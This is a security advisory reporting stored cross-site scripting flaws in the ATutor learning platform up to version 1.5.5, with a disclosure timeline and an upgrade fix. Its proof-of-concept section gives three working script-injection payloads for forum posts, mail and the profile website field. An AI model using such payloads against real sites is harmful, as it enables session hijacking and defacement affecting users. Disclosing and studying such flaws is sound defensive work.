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ATutor <= 1.5.5 Cross Site Scripting
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Author:          L4teral <l4teral [4t] gmail com>
Impact:          Cross Site Scripting
Status:          patch available


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Affected software description:
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Application:     ATutor
Version:         <= 1.5.5
Vendor:          http://www.atutor.ca

Description:
ATutor is an Open Source Web-based Learning Content Management System
(LCMS) designed with accessibility and adaptability in mind.
Administrators can install or update ATutor in minutes, develop custom
templates to give ATutor a new look, and easily extend its
functionality with feature modules. Educators can quickly assemble,
package, and redistribute Web-based instructional content, easily
retrieve and import prepackaged content, and conduct their courses
online. Students learn in an adaptive learning environment.


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Vulnerability:
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The mail and forum components are vulnerable to cross site scripting.
Script code can be embedded into the user profile.


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PoC/Exploit:
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create forum post/mail with:
http://www.ex"style="width:expression(alert('xss'))"ample.com (IE only)

create forum post/mail with:
http://www.ex"onmouseover="javascript:alert('xss');"ample.com

use the following as website in the profile:
http://"></a><script>alert('xss')</script>


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Solution:
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update to version 1.6 or above.


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Timeline:
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2007-10-17 - vendor informed
2007-10-18 - vendor responded
2008-02-05 - vendor released new version
2008-02-17 - public disclosure